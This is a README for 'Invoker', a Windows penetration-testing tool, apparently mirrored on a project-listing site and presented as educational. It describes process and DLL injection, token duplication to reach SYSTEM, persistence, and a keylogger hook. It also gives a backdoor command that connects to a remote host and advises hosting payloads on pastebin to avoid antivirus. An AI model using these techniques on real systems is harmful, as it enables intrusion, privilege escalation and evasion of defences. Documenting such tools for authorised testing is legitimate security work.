Awesome Open Source
Awesome Open Source

Invoker

Penetration testing utility and antivirus assessment tool.

Built with Visual Studio Community 2019 v16.9.3 (64-bit) and tested on Windows 10 Enterprise OS (64-bit).

Made for educational purposes. I hope it will help!

This repository started to have known signatures, and unfortunately I don't have time to upload new executables each time, you should compile this project by yourself.

Future plans:

  • Direct System Calls,
  • DLL Proxying,
  • COM Hijacking.

Table of Contents

Invoker Library

Capabilities:

  • invoke the Command Prompt and PowerShell,
  • make a direct system call,
  • Windows Management Instrumentation (WMI),
  • connect to a remote host,
  • run a new process,
  • terminate a running process,
  • dump a process memory,
  • inject a bytecode into a running process,
  • inject a DLL into a running process,
  • list DLLs of a running process,
  • install a hook procedure,
  • enable access token privileges,
  • duplicate the access token of a running process,
  • download a file,
  • add a registry key,
  • schedule a task,
  • list unquoted service paths and restart a running service,
  • replace Sticky Keys.

Some features may require administrative privileges.

Check the library here. Feel free to use it!

How to Run

Run Invoker_x86.exe (32-bit) or Invoker_x64.exe (64-bit).

To automate the backdoor while setting up a persistence, run the following command:

Invoker_x64.exe 192.168.8.5:9000

32-bit Invoker can:

  • make a direct system call,
  • dump the memory of a 32-bit process,
  • inject a 32-bit bytecode into a 32-bit process,
  • inject a 32-bit DLL into a 32-bit process,
  • list DLLs of a 32-bit process,
  • install a hook procedure from a 32-bit DLL.

64-bit Invoker can:

  • make a direct system call,
  • dump the memory of a 32-bit process,
  • dump the memory of a 64-bit process,
  • inject a 32-bit bytecode into a 32-bit process,
  • inject a 64-bit bytecode into a 64-bit process,
  • inject a 32-bit DLL into a 32-bit process,
  • inject a 64-bit DLL into a 64-bit process,
  • list DLLs of a 32-bit process,
  • list DLLs of a 64-bit process.
  • install a hook procedure from a 32-bit DLL,
  • install a hook procedure from a 64-bit DLL.

Bytecode Injection

Elevate privileges by injecting bytecode into a higher-privileged process.

This tool can parse an HTTP response as well as extract the payload from a custom element, e.g. from <invoker>payload</invoker> where payload is a binary code/file encoded in Base64.

Check the example at pastebin.com/raw/xf9Trt0d.

This might be useful if antivirus is constantly deleting your local payloads.

Also, check an additional example at pastebin.com/raw/iW17rCxH - payload hidden in the image element.

P.S. Bytecodes provided will most certainly not work for you.

Use ngrok to give your local web server a public address.


Too see if a process is 32-bit or 64-bit open up Task Manager -> click on More details -> go to Details tab -> right click on any of the columns -> click on Select columns -> check the Platform checkbox.

Additionally, to see if a process is running with administrative privileges check the Elevated checkbox.

Generate a Reverse Shell Payload

Find out how to generate a reverse shell payload from my other project, as well as, find out how to set up an Ncat and multi/handler listeners.

PowerShell Scripts

If you wish to run a PowerShell reverse or bind shell from the Invoker, check my other project.

Just copy and paste any of the one-liners in your PowerShell session.

Direct System Calls

Direct system calls library and assembly were generated with SysWhispers2. Credits to the author! As of this writing, this tool only supports 64-bit direct system calls.

Capabilities:

  • inject a bytecode into a running process,
  • inject a DLL into a running process.

To generate the same library and assembly, run the following command from your preferred console:

python syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx -o syscalls

Check my wrapper for the library here. Feel free to use it!

TO DO: Add more features.

Make a DLL With a Hook Procedure

Find out how to make a simple DLL with a hook procedure here. The hook procedure will invoke a message box on each window close.

Also, check out a keyboard hook procedure (i.e. keylogger) here.

Always remove all the created artifacts after you are done testing, e.g. remove keylogger.log.

Get the LocalSystem Account (NT AUTHORITY\SYSTEM)

Run the Invoker as administrator.

Enable all access token privileges.

Duplicate the access token from e.g. Windows Logon Application (winlogon.exe) and run a new instance of the Invoker.

Within the new Invoker instance, open the Command Prompt and run whoami, you should now see nt authority\system.

Enable all access token privileges once again.

Close the old Invoker instance.

P.S. You get more access token privileges from Local Security Authority Subsystem Service (lsass.exe).

Images

Invoker

Figure 1 - Invoker

Add/Edit Registry Key

Figure 2 - Add/Edit Registry Key

Bytecode Injection

Figure 3 - Bytecode Injection

Elevated Privileges

Figure 4 - Elevated Privileges


Get A Weekly Email With Trending Projects For These Topics
No Spam. Unsubscribe easily at any time.
c-plus-plus (18,781
security (1,911
windows (1,469
downloader (215
injection (80
bytecode (76
dll (68
process (60
offensive-security (48
task-scheduler (31
ethical-hacking (28